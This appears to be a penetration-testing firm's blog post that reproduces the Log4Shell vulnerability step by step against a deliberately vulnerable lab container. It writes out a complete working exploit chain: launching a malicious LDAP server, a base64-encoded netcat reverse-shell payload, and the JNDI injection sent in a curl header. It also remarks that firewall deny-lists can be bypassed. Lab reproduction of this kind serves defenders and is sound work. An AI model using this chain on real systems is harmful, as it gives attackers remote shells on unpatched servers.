Reproducing Log4Shell (CVE-2021-44228)

Log4Shell: Apache log4j2 Remote Code Execution Vulnerability (CVE-2021-44228)

As for now, we believe that everyone is now aware with the new 0day named Log4Shell. It was first mentioned by p0rz9 in Twitter. This vulnerability is caused by the Apache log4j2; Java logging libraries, interprets malicious user input which generally will be logged in the log4j2 logger and subsequently execute arbitrary Java code.

Almost every known software and products are affected with this vulnerability and immediate action to mitigate, monitor and patch Apache log4j2 should be taken.

One of our wizard attempted to see how serious or easy to reproduce the attack, and surprisingly, it is really easy and the impact is disastrous.

Creating the vulnerable environment

Luckily for everyone, there’s already a docker version of a vulnerable application that you can test on. This can be grabbed from here:
https://github.com/christophetd/log4shell-vulnerable-app

This vulnerable application uses Log4j 2.14.1 (through spring-boot-starter-log4j2 2.6.1) and the JDK 1.8.0_181. A good example to see how the attack works against this Apache log4j2.

To run it, simply run the following code:

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Note: Our vulnerable application run on 192.168.1.12

The malicious server

The first step, we need to run a malicious LDAP server. For this purpose, we used JNDIExploit created by feihong-cs.

Download the file from there and unzip the file:

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip

Run the malicious LDAP server:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-attacker-ip -p 8888

Note: Our malicious LDAP server run on 192.168.1.99

The exploit

While the LDAP server was running, next we crafted the payload that we want to execute.
For this experiment, we decided to use a reverse Netcat connection:

nc 192.168.1.99 1337 -e /bin/sh

To exploit, the payload needs to be Base64 encoded and included in the request as the following:

${jndi:ldap://your-attacker-ip:1389/Basic/Command/Base64/base64-encoded-payload}

Thus, we encoded our payload:

echo 'nc 192.168.1.99 1337 -e /bin/sh' | base64 
bmMgMTkyLjE2OC4xLjk5IDEzMzcgLWUgL2Jpbi9zaAo=

Then on the other terminal window, we listened on the 1337 port awaiting the payload to be executed by the vulnerable application host.

nc -nlvp 1337

We sent the full request to the vulnerable application via curl as the following:

curl 192.168.1.12:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.99:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4xLjk5IDEzMzcgLWUgL2Jpbi9zaAo=}'

The log4j2 received the request and logged it:

Then, the payload requested a new HTTP request embedded with the exploit we crafted:

Reverse shell was achieved:

Further test

From our experience performing penetration test especially on big organisations, most of them will rely on Web Application Firewall (WAF) or any security devices to immediately protect their network from this kind of attack. Generally, the prevention is based on deny-listing approaches which most of the times, can be bypassed.

We noticed that Wireghoul and Rezn0k experimenting with potential bypasses and sharing the results in their Twitter feed. We tried one of the bypasses and can confirm it worked.